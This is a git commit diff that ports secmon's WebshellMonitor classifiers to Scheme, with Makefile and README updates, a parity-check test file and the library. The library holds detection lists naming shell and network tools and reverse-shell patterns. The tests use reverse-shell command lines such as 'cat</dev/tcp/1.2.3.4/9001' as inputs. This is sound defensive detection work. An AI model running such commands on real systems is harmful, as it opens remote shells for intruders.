webshell: port WebshellMonitor name/cmdline classifiers (untyped)

ober

37a3432489a765e58706de00b4d6af70c36170c4

diff --git a/Makefile b/Makefile
index 01694d4..2585da8 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme
 BUILD  ?= build/rust
 TYPED  := $(wildcard typed/*.ss)
 
-.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check checks clean
+.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check checks clean
 # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon
 # (a second --libdirs would replace, not append, the jerboa one).
 LIBDIRS := "$(JERBOA)/lib:$(CURDIR)"
@@ -209,6 +209,13 @@ persistence-check:
 file-change-check:
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/file_change_check.ss
 
+# Webshell process classifier (secmon monitor/webshell.rs): is_web_server
+# (substring), is_suspicious_child (name exact OR cmdline-substring), and
+# get_detection_reason (first cmdline pattern in list order, else default).
+# Pure — the /proc scan + PID parent/child walk is the deferred I/O loop.
+webshell-check:
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/webshell_check.ss
+
 # Everything that runs through the Jerboa side of the bridge, one shot.
 checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss
@@ -237,6 +244,7 @@ checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/event_danger_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/persistence_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/file_change_check.ss
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/webshell_check.ss
 
 clean:
 	rm -rf $(BUILD)
diff --git a/README.md b/README.md
index e971631..420bf3c 100644
--- a/README.md
+++ b/README.md
@@ -48,6 +48,7 @@ make config-check    # AgentConfig defaults + from_env merge + platform db/key p
 make event-danger-check # mount is_dangerous + capability dangerous_caps predicates
 make persistence-check # classify_path (-> persistence type) + suspicious-content line scan
 make file-change-check # is_suspicious_change: setuid/setgid added, critical files, sensitive dirs
+make webshell-check  # web-server-spawned suspicious child: name/cmdline classifier + reason
 make checks          # every Jerboa-side check in one shot
 ```
 
@@ -122,5 +123,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `monitor/events` (danger predicates) | `jsecmon/event-danger.ss` | ✅ **untyped layer** — the payload predicates that drive a mount/capability event's severity, lifted off their structs: `MountEventInfo::is_dangerous` (`mount-danger-reason source target` → reason string, with the faithful corner that the `/` source entry's prefix is `//` so a plain `/foo` is **not** flagged, and dangerous *targets* match exact-only) and `CapabilityEventInfo::dangerous_caps` (`cap_effective` bits → cap names in the Rust push order, full u64 so bits 38/39 work). These compute the booleans `event-meta`'s mount/capability severity helpers consume. Pure, no native lib; `make event-danger-check` asserts against the Rust source. |
 | `monitor/persistence` (helpers) | `jsecmon/persistence.ss` | ✅ **untyped layer** — `classify_path` (path → `PersistenceType` symbol via an ordered first-match substring chain; `systemd` before `cron`, `.timer` vs service, and the shell-profile arm == the default) and `extract_suspicious_content` (first line matching `SUSPICIOUS_PATTERNS`, returned in original case, truncated to 200 chars + `...`). Faithfully preserves secmon's dead-pattern bug: the line is lowercased before `contains`, so the uppercase patterns `NOPASSWD`/`ALL=(ALL)` can never match. Pure — the directory walk + baseline hashing are the deferred I/O — no native lib; `make persistence-check` asserts against the Rust source. |
 | `monitor/files` (`FileIntegrityMonitor::is_suspicious_change`) | `jsecmon/file-change.ss` | ✅ **untyped layer** — the deciding logic with stat/hashing stripped (modes + change-type + platform passed in): ordered first-match — setuid then setgid bit *added* (both modes known), exact platform critical file, `authorized_keys`/`cron` substrings, then a platform sensitive dir on `created` only. Pins the order corner that the `cron` substring precedes the sensitive-dir step, so a created `/etc/cron.d/x` reports "Cron configuration modified", never the sensitive-dir message; the critical-files/sensitive-dirs sets switch on `cfg!(target_os)` (linux/freebsd/other). Pure — the `stat`/SHA-256 baseline is the deferred I/O — no native lib; secmon has no `#[test]` here so `make file-change-check` asserts against the Rust source. |
+| `monitor/webshell` (`WebshellMonitor` classifiers) | `jsecmon/webshell.ss` | ✅ **untyped layer** — the three pure deciders with the `/proc` scan + parent/child PID walk + event emission stripped: `is_web_server` (lower-cased name **substring** vs the server list, so `php-fpm` matches `php`), `is_suspicious_child` (process name by **exact** lower-cased equality — `bashx` is clean — OR the joined+lowercased cmdline **substring**-matched against the pattern list), and `get_detection_reason` (scans only the cmdline patterns, **in list order**, first match → `Suspicious command pattern: {pat}`, else the default `Web server spawned suspicious process: {name}` with the **original-case** name). obfstr!-hidden lists decode to these plaintext literals. Pins the corner that the reason is chosen by pattern-list order, not cmdline-token order, and that a name-only hit yields the default reason. Pure — the PID walk is the deferred monitor loop — no native lib; secmon has no `#[test]` here so `make webshell-check` asserts against the Rust source. |
 | `monitor::dns_sniffer` (DNS wire parser + dedup) | `jsecmon/dns-sniffer.ss` | ✅ **untyped layer** — the platform-independent half of secmon's `src/monitor/dns_sniffer.rs`: the DNS wire-format parser (QNAME decoding with compression-pointer chasing capped at 128 steps, QTYPE→string, question + A/AAAA answer-RR extraction) and the 5s dedup / 30s cleanup state machine. Every bounds check is preserved — a truncated/malformed/looping packet yields `#f`, never a bad read. Pure byte parsing → untyped, like geoip. The AF_PACKET raw-socket capture + `/proc` PID lookup stay for the monitor I/O driver. `make dns-sniffer-check` reproduces secmon's parser + dedup tests (+ AAAA, qtype table, pointer-loop/qdcount guards). |
 | monitors / server / ebpf / dtrace | —  | ⏳ I/O+async+FFI, last           |
diff --git a/examples/webshell_check.ss b/examples/webshell_check.ss
new file mode 100644
index 0000000..495f5c0
--- /dev/null
+++ b/examples/webshell_check.ss
@@ -0,0 +1,71 @@
+;;; Parity check for (jsecmon webshell) against secmon monitor/webshell.rs
+;;; (WebshellMonitor::is_web_server / is_suspicious_child / get_detection_reason).
+;;; secmon has no #[test] here, so this derives expectations from the Rust source
+;;; and IS the spec for the port.
+;;;
+;;;   scheme --libdirs "$JERBOA/lib:." --script examples/webshell_check.ss
+
+(import (jerboa prelude)
+        (jsecmon webshell))
+
+(def fails 0)
+(def (check name got want)
+  (let ((ok (equal? got want)))
+    (unless ok (set! fails (+ fails 1)))
+    (displayln (if ok "  ok   " "  FAIL ") name
+               (if ok "" (str "   got " got " want " want)))))
+
+;; ── is-web-server (lower-cased, SUBSTRING) ───────────────────────────────────
+(displayln "is-web-server:")
+(check "nginx"            (is-web-server "nginx") #t)
+(check "apache2"          (is-web-server "apache2") #t)
+(check "php-fpm via php"  (is-web-server "php-fpm") #t)
+(check "uppercase lowered" (is-web-server "NGINX") #t)
+(check "substring match"  (is-web-server "nginx: worker process") #t)
+(check "node"             (is-web-server "node") #t)
+(check "sshd not server"  (is-web-server "sshd") #f)
+(check "random not server" (is-web-server "myapp") #f)
+
+;; ── is-suspicious-child: name EXACT, cmdline SUBSTRING ───────────────────────
+(displayln "is-suspicious-child (name, exact):")
+(check "bash exact"       (is-suspicious-child "bash" '()) #t)
+(check "Bash lowered"     (is-suspicious-child "Bash" '()) #t)
+(check "bashx not exact"  (is-suspicious-child "bashx" '()) #f)   ; exact, not substring
+(check "nc exact"         (is-suspicious-child "nc" '()) #t)
+(check "sshd clean"       (is-suspicious-child "sshd" '()) #f)
+(check "name match, boring cmdline" (is-suspicious-child "sh" '("sh")) #t)
+
+(displayln "is-suspicious-child (cmdline, substring):")
+(check "python -c rev"    (is-suspicious-child "app" '("python" "-c" "import socket")) #t)
+(check "dev/tcp"          (is-suspicious-child "app" '("bash" "-c" "cat</dev/tcp/1.2.3.4/9001")) #t)
+(check "boring cmdline"   (is-suspicious-child "app" '("echo" "hello")) #f)
+(check "empty cmdline boring name" (is-suspicious-child "app" '()) #f)
+
+;; ── get-detection-reason: cmdline patterns IN ORDER, else default ────────────
+(displayln "get-detection-reason:")
+(check "dev/tcp pattern"
+       (get-detection-reason "app" '("bash" "-c" "sh</dev/tcp/1.1.1.1/53"))
+       "Suspicious command pattern: /dev/tcp/")
+(check "python -c pattern"
+       (get-detection-reason "app" '("python" "-c" "x"))
+       "Suspicious command pattern: python -c")
+;; pattern-LIST order wins, not cmdline-token order: "bash -i" (#3) before "exec " (#7)
+(check "pattern-list order, not token order"
+       (get-detection-reason "app" '("exec" "bash" "-i"))
+       "Suspicious command pattern: bash -i")
+;; leading-space pattern " 2>&1"
+(check "redirect pattern"
+       (get-detection-reason "app" '("ls" "2>&1"))
+       "Suspicious command pattern:  2>&1")
+;; name-only suspicious (no cmdline pattern) -> default, ORIGINAL-case name
+(check "default uses original-case name"
+       (get-detection-reason "BASH" '("bash"))
+       "Web server spawned suspicious process: BASH")
+(check "default for plain name"
+       (get-detection-reason "curl" '())
+       "Web server spawned suspicious process: curl")
+
+(newline)
+(if (= fails 0)
+    (displayln "OK: webshell matches secmon's webshell.rs classifiers.")
+    (begin (displayln fails " FAILURES") (exit 1)))
diff --git a/jsecmon/webshell.ss b/jsecmon/webshell.ss
new file mode 100644
index 0000000..461822a
--- /dev/null
+++ b/jsecmon/webshell.ss
@@ -0,0 +1,89 @@
+#!chezscheme
+;;; jsecmon webshell process classifier (secmon monitor/webshell.rs), untyped.
+;;;
+;;; The pure classifiers of secmon's WebshellMonitor, with the /proc scan +
+;;; parent/child PID walk + event emission (the deferred I/O loop) stripped:
+;;;   is-web-server        : name                 -> #t | #f
+;;;   is-suspicious-child  : name cmdline         -> #t | #f
+;;;   get-detection-reason : name cmdline         -> reason string
+;;; `name` is a process name string; `cmdline` is a list of argv strings
+;;; (Rust's Vec<String>, joined with " " before matching).
+;;;
+;;; Faithfulness corners (the Rust depends on each):
+;;;   * is-web-server lower-cases the name and tests `lower.contains(ws)` — a
+;;;     SUBSTRING test, so "php-fpm"/"php-cgi" match the "php" entry too.
+;;;   * is-suspicious-child has TWO checks: the process name is matched by
+;;;     EXACT equality (`lower_name == s`, NOT substring — "bashx" is clean),
+;;;     then the joined+lowercased cmdline is matched by SUBSTRING against the
+;;;     pattern list. Name first, then cmdline.
+;;;   * get-detection-reason only scans the CMDLINE patterns (in list order,
+;;;     first match wins) — it does NOT consider the name match. So a process
+;;;     flagged by NAME alone (empty/boring cmdline) yields the default
+;;;     "Web server spawned suspicious process: {name}", and that default uses
+;;;     the ORIGINAL-case name (the pattern branch echoes the lowercase
+;;;     pattern literal). Pattern order — not cmdline token order — decides
+;;;     which reason is reported.
+;;;
+;;; secmon has no #[test] here, so examples/webshell_check.ss derives every
+;;; expectation from the Rust source and IS the spec for this port.
+
+(library (jsecmon webshell)
+  (export is-web-server is-suspicious-child get-detection-reason
+          *web-server-names* *suspicious-processes* *suspicious-cmdline-patterns*)
+  (import (except (chezscheme)
+                  make-hash-table hash-table?
+                  sort sort!
+                  printf fprintf
+                  path-extension path-absolute?
+                  with-input-from-string with-output-to-string
+                  iota 1+ 1-
+                  partition
+                  make-date make-time)
+          (except (jerboa prelude) meta atom?))
+
+  ;; WEB_SERVER_NAMES (obfstr! literals, decoded). Matched by substring.
+  (def *web-server-names*
+    '("apache2" "httpd" "nginx" "php-fpm" "php-cgi" "php"
+      "python" "python3" "python2" "ruby" "perl" "node" "nodejs"
+      "java" "tomcat" "gunicorn" "uwsgi" "unicorn" "puma" "passenger"
+      "lighttpd" "caddy" "traefik"))
+
+  ;; SUSPICIOUS_PROCESSES (decoded). Matched by EXACT name equality.
+  (def *suspicious-processes*
+    '("sh" "bash" "dash" "zsh" "ksh" "csh" "tcsh" "fish"
+      "nc" "ncat" "netcat" "socat" "curl" "wget"
+      "python" "python3" "python2" "perl" "ruby" "php" "lua"
+      "awk" "gawk" "mawk" "sed"
+      "chmod" "chown" "useradd" "usermod" "passwd" "id" "whoami" "uname"
+      "cat" "head" "tail" "less" "more" "vi" "vim" "nano"
+      "base64" "xxd" "od" "gcc" "cc" "make" "as" "ld"))
+
+  ;; SUSPICIOUS_CMDLINE_PATTERNS (decoded). Matched by substring, IN ORDER —
+  ;; get-detection-reason reports the first that matches.
+  (def *suspicious-cmdline-patterns*
+    '("/dev/tcp/" "/dev/udp/" "bash -i" "sh -i" "-c /bin/" "-c /usr/bin/"
+      "exec " "eval " "| bash" "| sh" "|bash" "|sh"
+      "base64 -d" "base64 --decode" "python -c" "python3 -c" "perl -e" "ruby -e"
+      "| nc " "| ncat " " 2>&1" "mkfifo" "mknod" "telnet "
+      " /tmp/" " /var/tmp/" " /dev/shm/" "wget " "curl " "chmod +x" "chmod 777"))
+
+  ;; WebshellMonitor::is_web_server
+  (def (is-web-server name)
+    (let ((lower (string-downcase name)))
+      (if (for/or ((ws *web-server-names*)) (string-contains lower ws)) #t #f)))
+
+  ;; WebshellMonitor::is_suspicious_child
+  (def (is-suspicious-child name cmdline)
+    (let ((lower-name (string-downcase name))
+          (cmd (string-downcase (string-join cmdline " "))))
+      (if (or (member lower-name *suspicious-processes*)
+              (for/or ((p *suspicious-cmdline-patterns*)) (string-contains cmd p)))
+          #t #f)))
+
+  ;; WebshellMonitor::get_detection_reason — cmdline patterns only, in order;
+  ;; falls back to the original-case process name.
+  (def (get-detection-reason name cmdline)
+    (let ((cmd (string-downcase (string-join cmdline " "))))
+      (or (for/or ((p *suspicious-cmdline-patterns*))
+            (and (string-contains cmd p) (str "Suspicious command pattern: " p)))
+          (str "Web server spawned suspicious process: " name)))))